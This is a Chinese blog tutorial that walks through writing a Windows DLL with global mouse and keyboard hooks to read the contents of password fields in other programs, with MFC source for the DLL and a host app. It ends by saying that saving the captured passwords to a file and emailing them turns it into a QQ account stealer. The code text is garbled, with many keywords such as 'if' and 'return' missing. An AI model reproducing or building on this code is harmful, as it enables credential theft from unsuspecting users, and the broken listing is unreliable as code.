键盘钩子:利用鼠标键盘钩子截获密码

举例源码下载:
http://zeena.nease.net/soft/GetPass_Src.rar


钩子能截获系统并得理发送给其它应用消息能完成无法完成功能掌握钩子编程思路方法是很有必要

钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程消息
3、WH_DEBUG 调试钩子
4、WH_FOREGROUNDIDLE 当当应用前台线程大概要变成空闲状态时系统就会 WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 监视和记录输入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD 键盘钩子
9、WH_KEYBOARD_LL 低层键盘钩子
10、WH_MOUSE 鼠标钩子
11、WH_MOUSE_LL 底层鼠标钩子
12、WH_SHELL 外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们可以监视菜单滚动条消息框等

安装钩子:
  SetWindowsHookEx安装钩子原型为:
HHOOK SetWindowsHookEx( idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
idHook表示钩子类型它是和钩子类型对应WH_KEYBOARD,WH_MOUSE
Lpfn是钩子地址
HMod是钩子所在例子句柄对于线程钩子该参数为NULL;对于系统钩子该参数为钩子所在DLL句柄 (系统钩子必须在DLL中)
   dwThreadId 指定钩子所监视线程线程号对于全局钩子该参数为NULL
   SetWindowsHookEx返回所安装钩子句柄

卸载钩子
   BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子
  钩子种特殊回调钩子监视特定事件发生后系统会钩子进行处理般为下:
LRESULT WINAPI MyHookProc( nCode ,WPARAM wParam,LPARAM lParam)
参数wParam和 lParam包含所钩消息信息比如鼠标位置、状态键盘按键等nCode包含有关消息本身比如是否从消息队列中移出

例子:
下面我们通过安装鼠标钩子和键盘钩子还截获输入密码并可查看*密码为例来介绍说明何何使用钩子

1进入向导新建MFC AppWizard(dll) 取名为GetPass选择MFC Extension DLL完成
2新建个CGetPassHook 类基类:CObject,并加入StartHook,StopHook,如下:
AFX_EXT_CLASS CGetPassHook : public CObject
{
public:
BOOL StopHook;
BOOL StartHook(HWND hwnd);

CGetPassHook;
virtual ~CGetPassHook;

};
3:加入全局共享数据如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL; //keyboard hook
HHOOK hMouseHook=NULL; //mouse hook
HINSTANCE glhInstance=NULL; //globle instance
HWND hOutPutWnd=NULL; //Display Pass Wnd
#pragma data_seg

4:加入鼠标键盘钩子处理如下:
LRESULT WINAPI MouseHookProc( nCode,WPARAM wParam ,LPARAM lParam)
{ //鼠标钩子得理
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
(nCode>=0)
{
HWND hTargetHwnd=lpMouse->hwnd; //得到鼠标所在窗口句柄
(hTargetHwnd)
{
LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); //得到它样式
(style&ES_PASSWORD) //如果是密码框
{
char szPass[255];
::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
//得到密码
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
//显示密码
}
}
}

CallNextHookEx(hMouseHook,nCode,wParam,lParam);
//加上这句就可以继续传递消息如果没有则会取消此消息传递
//可以起到截儿消息我们这里
}

LRESULT WINAPI KeyBoardProc( nCode,WPARAM wParam,LPARAM lParam)
{ //keyboard hook proc

(nCode>=0)
{
HWND hTargetHwnd=GetActiveWindow; //get active window
(hTargetHwnd)
EnumChildWindows(hTargetHwnd,EnumWndProc,0); //枚举所有窗口
}

CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
//加上这句就可以继续传递消息如果没有则会取消此消息传递
//可以起到截儿消息我们这里
}

这里要介绍下EnumChildWindows原形如下:
BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
hWndParent:为枚举窗口句柄
lpEnumFunc:枚举地址
lParam:这里为0

5:加入枚举窗口如下:(注意前面据要用到此所以要么在前面声明要么放在上面的前定义

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{ //enum the child window,find passedit
(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
(style&ES_PASSWORD) //是密码框
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); //得到PASS
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); //显示
TRUE;
}
}

TRUE;
}

6:在DEF文件中定义段属性: (这步很重要)
  SECTIONS
  mydata READ WRITE SHARED

7:完成StartHook,StopHook启动/关闭钩子如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{ // hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
//mouse hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
//keyboard hook
(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; //显示密码句柄
TRUE;
}
FALSE;
}

BOOL CGetPassHook::StopHook
{ //unstall hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
(mHook&&kHook)
TRUE;
FALSE;
}

8:在DLLMAIN中得到DLL句柄要用到glhInstance变量因此要加入如下:
extern HINSTANCE glhInstance; //记得这里
extern "C" APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
(dwReason DLL_PROCESS_ATTACH)
{
TRACE0("GETPASS.DLL Initializing!\n");

(!AfxInitExtensionModule(GetPassDLL, hInstance))
0;
CDynLinkLibrary(GetPassDLL);
glhInstance=hInstance; //得到句柄
}
(dwReason DLL_PROCESS_DETACH)
{
TRACE0("GETPASS.DLL Terminating!\n");
AfxTermExtensionModule(GetPassDLL);
}
1; // ok
}

9:编译完成DLL部分

下面建立APP部分如下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第步中选择Add to Current WorkSpace加入到当前工作区这样方便

2:将刚才DLL中GetPass.lib,和GetPassHook.h拷贝APP所在目录然后Project->Add to Project-->Files
选择这两个文件

2:在主对话框中加入个EDITID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件声明个对象如下:

# "GetPassHook.h"
CGetPassWordDlg : public CDialog
{
protected:
CGetPassHook m_hook;

DECLARE_MESSAGE_MAP
};

4:在实现文件中:OnInitDialog中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog
{
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
m_hook.StartHook(pWnd->GetSafeHwnd); // hook

TRUE; // TRUE unless you the focus to a control
}

5:加入WM_DESTROY消息在退出时停止HOOK如下:
void CGetPassWordDlg::OnDestroy
{
CDialog::OnDestroy;
m_hook.StopHook; //stop hook
}

6:将GetPass.dll拷贝到EXE个目录下

7:编译运行.
这样你在输入任何密码框输入密码时密码都将截获就算键盘HOOK失效移动鼠标到密码框也都获取*号密码我们安装两个HOOK启动QQ输入密码试下看是否已经截获了密码?将本稍做修改将截获密码输出到文件并加入发送邮件攻能个QQ盗号器就做成了


  • 篇文章: LIUNX下解析Elf文件DT_RPATH后门

  • 篇文章: 利用IEObjectData漏洞实现网页木马
  • Tags:  vc键盘钩子 什么是键盘钩子 鼠标钩子 键盘钩子

    延伸阅读

    最新评论

    发表评论